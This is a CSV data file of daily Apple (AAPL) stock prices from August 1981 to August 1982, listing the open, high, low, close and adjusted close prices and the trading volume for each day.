-1981-08-19,0.3861607015132904,0.3861607015132904,0.3816964328289032,0.3816964328289032,0.30315104126930237,5168800.0,AAPL -1981-08-20,0.3861607015132904,0.3883928656578064,0.3861607015132904,0.3861607015132904,0.3066966235637665,4278400.0,AAPL -1981-08-21,0.3638392984867096,0.3638392984867096,0.359375,0.359375,0.28542283177375793,10477600.0,AAPL -1981-08-24,0.3392857015132904,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,5768000.0,AAPL -1981-08-25,0.3459821343421936,0.3482142984867096,0.3459821343421936,0.3459821343421936,0.27478593587875366,10175200.0,AAPL -1981-08-26,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,8400000.0,AAPL -1981-08-27,0.3415178656578064,0.34375,0.3415178656578064,0.3415178656578064,0.27124035358428955,6479200.0,AAPL -1981-08-28,0.359375,0.3616071343421936,0.359375,0.359375,0.28542283177375793,9508800.0,AAPL -1981-08-31,0.359375,0.3616071343421936,0.359375,0.359375,0.28542283177375793,10236800.0,AAPL -1981-09-01,0.3816964328289032,0.3839285671710968,0.3816964328289032,0.3816964328289032,0.30315104126930237,9256800.0,AAPL -1981-09-02,0.3883928656578064,0.390625,0.3883928656578064,0.3883928656578064,0.3084695041179657,4844000.0,AAPL -1981-09-03,0.3727678656578064,0.3727678656578064,0.3683035671710968,0.3683035671710968,0.29251402616500854,9368800.0,AAPL -1981-09-04,0.3660714328289032,0.3660714328289032,0.3638392984867096,0.3638392984867096,0.2889685332775116,3813600.0,AAPL -1981-09-08,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,6361600.0,AAPL -1981-09-09,0.3526785671710968,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,7632800.0,AAPL -1981-09-10,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2818772792816162,8702400.0,AAPL -1981-09-11,0.3526785671710968,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,4384800.0,AAPL -1981-09-14,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,6921600.0,AAPL -1981-09-15,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,4877600.0,AAPL -1981-09-16,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,4838400.0,AAPL -1981-09-17,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,4844000.0,AAPL -1981-09-18,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,6580000.0,AAPL -1981-09-21,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,12258400.0,AAPL -1981-09-22,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,11855200.0,AAPL -1981-09-23,0.2991071343421936,0.2991071343421936,0.2946428656578064,0.2946428656578064,0.23401138186454773,7050400.0,AAPL -1981-09-24,0.2946428656578064,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23223842680454254,4575200.0,AAPL -1981-09-25,0.2589285671710968,0.2589285671710968,0.2544642984867096,0.2544642984867096,0.20210061967372894,8652000.0,AAPL -1981-09-28,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,22932000.0,AAPL -1981-09-29,0.2700892984867096,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,23671200.0,AAPL -1981-09-30,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,12499200.0,AAPL -1981-10-01,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,15282400.0,AAPL -1981-10-02,0.2946428656578064,0.296875,0.2946428656578064,0.2946428656578064,0.23401138186454773,11261600.0,AAPL -1981-10-05,0.3035714328289032,0.3080357015132904,0.3035714328289032,0.3035714328289032,0.24110259115695953,10774400.0,AAPL -1981-10-06,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,7089600.0,AAPL -1981-10-07,0.3191964328289032,0.3236607015132904,0.3191964328289032,0.3191964328289032,0.25351229310035706,9710400.0,AAPL -1981-10-08,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,7772800.0,AAPL -1981-10-09,0.3325892984867096,0.3370535671710968,0.3325892984867096,0.3325892984867096,0.26414918899536133,13630400.0,AAPL -1981-10-12,0.34375,0.3459821343421936,0.34375,0.34375,0.2730131149291992,6837600.0,AAPL -1981-10-13,0.34375,0.3482142984867096,0.34375,0.34375,0.2730131149291992,11048800.0,AAPL -1981-10-14,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,7744800.0,AAPL -1981-10-15,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,7358400.0,AAPL -1981-10-16,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,9116800.0,AAPL -1981-10-19,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,5146400.0,AAPL -1981-10-20,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,8932000.0,AAPL -1981-10-21,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,19224800.0,AAPL -1981-10-22,0.3504464328289032,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.27655884623527527,8069600.0,AAPL -1981-10-23,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,6977600.0,AAPL -1981-10-26,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,6820800.0,AAPL -1981-10-27,0.3459821343421936,0.3504464328289032,0.3459821343421936,0.3459821343421936,0.27478593587875366,21397600.0,AAPL -1981-10-28,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,11043200.0,AAPL -1981-10-29,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,7621600.0,AAPL -1981-10-30,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,13182400.0,AAPL -1981-11-02,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,9228800.0,AAPL -1981-11-03,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,7095200.0,AAPL -1981-11-04,0.3459821343421936,0.3459821343421936,0.34375,0.34375,0.2730131149291992,5952800.0,AAPL -1981-11-05,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,5840800.0,AAPL -1981-11-06,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,6148800.0,AAPL -1981-11-09,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,5096000.0,AAPL -1981-11-10,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,4188800.0,AAPL -1981-11-11,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,6860000.0,AAPL -1981-11-12,0.3482142984867096,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.27655884623527527,9979200.0,AAPL -1981-11-13,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,5252800.0,AAPL -1981-11-16,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,5639200.0,AAPL -1981-11-17,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,8853600.0,AAPL -1981-11-18,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,7285600.0,AAPL -1981-11-19,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,10001600.0,AAPL -1981-11-20,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,9525600.0,AAPL -1981-11-23,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,5740000.0,AAPL -1981-11-24,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,5538400.0,AAPL -1981-11-25,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,13137600.0,AAPL -1981-11-27,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,9312800.0,AAPL -1981-11-30,0.3348214328289032,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,5992000.0,AAPL -1981-12-01,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,5846400.0,AAPL -1981-12-02,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,9391200.0,AAPL -1981-12-03,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,5107200.0,AAPL -1981-12-04,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.26946747303009033,34288800.0,AAPL -1981-12-07,0.3415178656578064,0.34375,0.3415178656578064,0.3415178656578064,0.27124035358428955,14823200.0,AAPL -1981-12-08,0.3392857015132904,0.3392857015132904,0.3348214328289032,0.3348214328289032,0.2659218907356262,12656000.0,AAPL -1981-12-09,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,8568000.0,AAPL -1981-12-10,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,9352000.0,AAPL -1981-12-11,0.3370535671710968,0.3392857015132904,0.3348214328289032,0.3348214328289032,0.2659218907356262,19023200.0,AAPL -1981-12-14,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,6311200.0,AAPL -1981-12-15,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,7828800.0,AAPL -1981-12-16,0.3482142984867096,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.27655884623527527,16363200.0,AAPL -1981-12-17,0.3772321343421936,0.3794642984867096,0.3772321343421936,0.3772321343421936,0.2996053695678711,12863200.0,AAPL -1981-12-18,0.4084821343421936,0.4107142984867096,0.4084821343421936,0.4084821343421936,0.32442471385002136,17931200.0,AAPL -1981-12-21,0.3928571343421936,0.3928571343421936,0.390625,0.390625,0.31024226546287537,14100800.0,AAPL -1981-12-22,0.3973214328289032,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,13456800.0,AAPL -1981-12-23,0.390625,0.390625,0.3883928656578064,0.3883928656578064,0.3084695041179657,7224000.0,AAPL -1981-12-24,0.390625,0.3928571343421936,0.390625,0.390625,0.31024226546287537,7229600.0,AAPL -1981-12-28,0.3772321343421936,0.3772321343421936,0.3727678656578064,0.3727678656578064,0.2960597574710846,9144800.0,AAPL -1981-12-29,0.3794642984867096,0.3839285671710968,0.3794642984867096,0.3794642984867096,0.3013782501220703,6059200.0,AAPL -1981-12-30,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.31378787755966187,8047200.0,AAPL -1981-12-31,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.31378787755966187,13664000.0,AAPL -1982-01-04,0.3950892984867096,0.3950892984867096,0.3928571343421936,0.3928571343421936,0.3120151162147522,17813600.0,AAPL -1982-01-05,0.3772321343421936,0.3772321343421936,0.3727678656578064,0.3727678656578064,0.2960597574710846,8960000.0,AAPL -1982-01-06,0.3705357015132904,0.3705357015132904,0.3683035671710968,0.3683035671710968,0.29251402616500854,16520000.0,AAPL -1982-01-07,0.34375,0.34375,0.3392857015132904,0.3392857015132904,0.26946747303009033,17511200.0,AAPL -1982-01-08,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2818772792816162,14151200.0,AAPL -1982-01-11,0.3348214328289032,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,8332800.0,AAPL -1982-01-12,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,14980000.0,AAPL -1982-01-13,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,10438400.0,AAPL -1982-01-14,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,6428800.0,AAPL -1982-01-15,0.3571428656578064,0.3616071343421936,0.3571428656578064,0.3571428656578064,0.28365007042884827,11676000.0,AAPL -1982-01-18,0.3638392984867096,0.3683035671710968,0.3638392984867096,0.3638392984867096,0.2889685332775116,7000000.0,AAPL -1982-01-19,0.359375,0.359375,0.3549107015132904,0.3549107015132904,0.2818772792816162,13876800.0,AAPL -1982-01-20,0.3616071343421936,0.3638392984867096,0.3616071343421936,0.3616071343421936,0.2871958017349243,6456800.0,AAPL -1982-01-21,0.3683035671710968,0.3705357015132904,0.3683035671710968,0.3683035671710968,0.29251402616500854,8332800.0,AAPL -1982-01-22,0.3705357015132904,0.3727678656578064,0.3705357015132904,0.3705357015132904,0.29428690671920776,6064800.0,AAPL -1982-01-25,0.3616071343421936,0.3616071343421936,0.359375,0.359375,0.28542283177375793,11177600.0,AAPL -1982-01-26,0.3504464328289032,0.3504464328289032,0.3459821343421936,0.3459821343421936,0.27478593587875366,5303200.0,AAPL -1982-01-27,0.3482142984867096,0.3526785671710968,0.3482142984867096,0.3482142984867096,0.27655884623527527,7840000.0,AAPL -1982-01-28,0.359375,0.3616071343421936,0.359375,0.359375,0.28542283177375793,9900800.0,AAPL -1982-01-29,0.3638392984867096,0.3660714328289032,0.3638392984867096,0.3638392984867096,0.2889685332775116,13288800.0,AAPL -1982-02-01,0.3638392984867096,0.3638392984867096,0.359375,0.359375,0.28542283177375793,9632000.0,AAPL -1982-02-02,0.3616071343421936,0.3660714328289032,0.3616071343421936,0.3616071343421936,0.2871958017349243,13568800.0,AAPL -1982-02-03,0.3616071343421936,0.3638392984867096,0.3616071343421936,0.3616071343421936,0.2871958017349243,7868000.0,AAPL -1982-02-04,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,5510400.0,AAPL -1982-02-05,0.3526785671710968,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2801044285297394,10074400.0,AAPL -1982-02-08,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,7924000.0,AAPL -1982-02-09,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,14476000.0,AAPL -1982-02-10,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,9699200.0,AAPL -1982-02-11,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,6132000.0,AAPL -1982-02-12,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,4911200.0,AAPL -1982-02-16,0.3303571343421936,0.3303571343421936,0.328125,0.328125,0.26060351729393005,8579200.0,AAPL -1982-02-17,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26414918899536133,6395200.0,AAPL -1982-02-18,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,7095200.0,AAPL -1982-02-19,0.3370535671710968,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,3399200.0,AAPL -1982-02-22,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.26237624883651733,6658400.0,AAPL -1982-02-23,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,8635200.0,AAPL -1982-02-24,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,9486400.0,AAPL -1982-02-25,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,7700000.0,AAPL -1982-02-26,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,4356800.0,AAPL -1982-03-01,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,8825600.0,AAPL -1982-03-02,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,8702400.0,AAPL -1982-03-03,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,5913600.0,AAPL -1982-03-04,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,9592800.0,AAPL -1982-03-05,0.2991071343421936,0.2991071343421936,0.296875,0.296875,0.23578399419784546,11328800.0,AAPL -1982-03-08,0.2946428656578064,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23223842680454254,8786400.0,AAPL -1982-03-09,0.2946428656578064,0.296875,0.2946428656578064,0.2946428656578064,0.23401138186454773,13126400.0,AAPL -1982-03-10,0.2924107015132904,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,21733600.0,AAPL -1982-03-11,0.2901785671710968,0.2946428656578064,0.2901785671710968,0.2901785671710968,0.2304656058549881,5644800.0,AAPL -1982-03-12,0.2745535671710968,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,11636800.0,AAPL -1982-03-15,0.2723214328289032,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,12840800.0,AAPL -1982-03-16,0.2678571343421936,0.2678571343421936,0.265625,0.265625,0.21096472442150116,11788000.0,AAPL -1982-03-17,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,12622400.0,AAPL -1982-03-18,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,14084000.0,AAPL -1982-03-19,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,16452800.0,AAPL -1982-03-22,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,17298400.0,AAPL -1982-03-23,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,13988800.0,AAPL -1982-03-24,0.2991071343421936,0.2991071343421936,0.296875,0.296875,0.23578399419784546,12902400.0,AAPL -1982-03-25,0.296875,0.296875,0.2946428656578064,0.2946428656578064,0.23401138186454773,21028000.0,AAPL -1982-03-26,0.2924107015132904,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,12695200.0,AAPL -1982-03-29,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,16900800.0,AAPL -1982-03-30,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,19488000.0,AAPL -1982-03-31,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,12538400.0,AAPL -1982-04-01,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,14784000.0,AAPL -1982-04-02,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,21201600.0,AAPL -1982-04-05,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,21660800.0,AAPL -1982-04-06,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,17897600.0,AAPL -1982-04-07,0.3125,0.3125,0.3102678656578064,0.3102678656578064,0.2464209944009781,7274400.0,AAPL -1982-04-08,0.3125,0.3147321343421936,0.3125,0.3125,0.24819375574588776,5997600.0,AAPL -1982-04-12,0.3125,0.3147321343421936,0.3102678656578064,0.3102678656578064,0.2464209944009781,11076800.0,AAPL -1982-04-13,0.2879464328289032,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,21324800.0,AAPL -1982-04-14,0.2879464328289032,0.2901785671710968,0.2879464328289032,0.2879464328289032,0.22869282960891724,28397600.0,AAPL -1982-04-15,0.2924107015132904,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23223842680454254,41070400.0,AAPL -1982-04-16,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,26012000.0,AAPL -1982-04-19,0.2991071343421936,0.2991071343421936,0.2946428656578064,0.2946428656578064,0.23401138186454773,10320800.0,AAPL -1982-04-20,0.2834821343421936,0.2834821343421936,0.28125,0.28125,0.2233743518590927,20137600.0,AAPL -1982-04-21,0.28125,0.28125,0.2790178656578064,0.2790178656578064,0.22160156071186066,18256000.0,AAPL -1982-04-22,0.2767857015132904,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.21805597841739655,13148800.0,AAPL -1982-04-23,0.2745535671710968,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.21805597841739655,12073600.0,AAPL -1982-04-26,0.28125,0.2834821343421936,0.28125,0.28125,0.2233743518590927,14481600.0,AAPL -1982-04-27,0.2745535671710968,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,17567200.0,AAPL -1982-04-28,0.2633928656578064,0.2633928656578064,0.2611607015132904,0.2611607015132904,0.20741912722587585,24808000.0,AAPL -1982-04-29,0.2611607015132904,0.2633928656578064,0.2611607015132904,0.2611607015132904,0.20741912722587585,20557600.0,AAPL -1982-04-30,0.2633928656578064,0.265625,0.2633928656578064,0.2633928656578064,0.20919188857078552,69350400.0,AAPL -1982-05-03,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,20675200.0,AAPL -1982-05-04,0.28125,0.2834821343421936,0.28125,0.28125,0.2233743518590927,18496800.0,AAPL -1982-05-05,0.28125,0.28125,0.2767857015132904,0.2767857015132904,0.21982868015766144,13484800.0,AAPL -1982-05-06,0.2857142984867096,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,18866400.0,AAPL -1982-05-07,0.2901785671710968,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,21179200.0,AAPL -1982-05-10,0.2879464328289032,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,7901600.0,AAPL -1982-05-11,0.2790178656578064,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.21982868015766144,25754400.0,AAPL -1982-05-12,0.2723214328289032,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,17752000.0,AAPL -1982-05-13,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,13613600.0,AAPL -1982-05-14,0.265625,0.265625,0.2611607015132904,0.2611607015132904,0.20741912722587585,23934400.0,AAPL -1982-05-17,0.2589285671710968,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,19051200.0,AAPL -1982-05-18,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,30508800.0,AAPL -1982-05-19,0.2522321343421936,0.2522321343421936,0.25,0.25,0.19855505228042603,18821600.0,AAPL -1982-05-20,0.2522321343421936,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,6904800.0,AAPL -1982-05-21,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,9710400.0,AAPL -1982-05-24,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,7996800.0,AAPL -1982-05-25,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,12891200.0,AAPL -1982-05-26,0.2566964328289032,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,10819200.0,AAPL -1982-05-27,0.2522321343421936,0.2522321343421936,0.25,0.25,0.19855505228042603,7812000.0,AAPL -1982-05-28,0.25,0.2522321343421936,0.25,0.25,0.19855505228042603,4799200.0,AAPL -1982-06-01,0.2477678507566452,0.2477678507566452,0.2455357164144516,0.2455357164144516,0.19500944018363953,11900000.0,AAPL -1982-06-02,0.25,0.2522321343421936,0.25,0.25,0.19855505228042603,8226400.0,AAPL -1982-06-03,0.2455357164144516,0.2455357164144516,0.2410714328289032,0.2410714328289032,0.19146382808685303,9940000.0,AAPL -1982-06-04,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,9419200.0,AAPL -1982-06-07,0.234375,0.2366071492433548,0.234375,0.234375,0.1861453801393509,9290400.0,AAPL -1982-06-08,0.234375,0.234375,0.2321428507566452,0.2321428507566452,0.18437252938747406,7851200.0,AAPL -1982-06-09,0.2299107164144516,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,8461600.0,AAPL -1982-06-10,0.2299107164144516,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,8601600.0,AAPL -1982-06-11,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,13658400.0,AAPL -1982-06-14,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,7498400.0,AAPL -1982-06-15,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,8803200.0,AAPL -1982-06-16,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,10432800.0,AAPL -1982-06-17,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,7291200.0,AAPL -1982-06-18,0.234375,0.234375,0.2299107164144516,0.2299107164144516,0.1825997233390808,4967200.0,AAPL -1982-06-21,0.2299107164144516,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,7134400.0,AAPL -1982-06-22,0.2388392835855484,0.2433035671710968,0.2388392835855484,0.2388392835855484,0.189690962433815,4390400.0,AAPL -1982-06-23,0.2455357164144516,0.25,0.2455357164144516,0.2455357164144516,0.19500944018363953,13188000.0,AAPL -1982-06-24,0.2455357164144516,0.2477678507566452,0.2455357164144516,0.2455357164144516,0.19500944018363953,11037600.0,AAPL -1982-06-25,0.2388392835855484,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18791817128658295,6669600.0,AAPL -1982-06-28,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,6288800.0,AAPL -1982-06-29,0.2299107164144516,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,8954400.0,AAPL -1982-06-30,0.2276785671710968,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,16906400.0,AAPL -1982-07-01,0.2276785671710968,0.2276785671710968,0.2254464328289032,0.2254464328289032,0.1790541112422943,13932800.0,AAPL -1982-07-02,0.2165178507566452,0.2165178507566452,0.2142857164144516,0.2142857164144516,0.1701899915933609,14526400.0,AAPL -1982-07-06,0.2075892835855484,0.2075892835855484,0.2053571492433548,0.2053571492433548,0.1630987972021103,21924000.0,AAPL -1982-07-07,0.2053571492433548,0.2075892835855484,0.2053571492433548,0.2053571492433548,0.1630987972021103,7593600.0,AAPL -1982-07-08,0.1986607164144516,0.1986607164144516,0.1964285671710968,0.1964285671710968,0.1560075581073761,41081600.0,AAPL -1982-07-09,0.203125,0.2053571492433548,0.203125,0.203125,0.16132594645023346,32104800.0,AAPL -1982-07-12,0.2075892835855484,0.2098214328289032,0.2075892835855484,0.2075892835855484,0.16487158834934235,15848000.0,AAPL -1982-07-13,0.2209821492433548,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.17550846934318542,28593600.0,AAPL -1982-07-14,0.2232142835855484,0.2276785671710968,0.2232142835855484,0.2232142835855484,0.1772812455892563,17780000.0,AAPL -1982-07-15,0.2276785671710968,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,16447200.0,AAPL -1982-07-16,0.2366071492433548,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18791817128658295,19252800.0,AAPL -1982-07-19,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,20944000.0,AAPL -1982-07-20,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,12426400.0,AAPL -1982-07-21,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,17925600.0,AAPL -1982-07-22,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,8803200.0,AAPL -1982-07-23,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,4575200.0,AAPL -1982-07-26,0.2433035671710968,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.19146382808685303,14212800.0,AAPL -1982-07-27,0.2410714328289032,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.19146382808685303,8080800.0,AAPL -1982-07-28,0.2321428507566452,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,13378400.0,AAPL -1982-07-29,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,15467200.0,AAPL -1982-07-30,0.2410714328289032,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.19146382808685303,9654400.0,AAPL -1982-08-02,0.2477678507566452,0.25,0.2477678507566452,0.2477678507566452,0.1967821717262268,23598400.0,AAPL -1982-08-03,0.234375,0.234375,0.2321428507566452,0.2321428507566452,0.18437252938747406,22467200.0,AAPL -1982-08-04,0.2321428507566452,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,20966400.0,AAPL -1982-08-05,0.2232142835855484,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.17550846934318542,17438400.0,AAPL -1982-08-06,0.2209821492433548,0.2209821492433548,0.21875,0.21875,0.17373567819595337,24208800.0,AAPL -1982-08-09,0.2209821492433548,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.17550846934318542,14028000.0,AAPL -1982-08-10,0.234375,0.2366071492433548,0.234375,0.234375,0.1861453801393509,28061600.0,AAPL 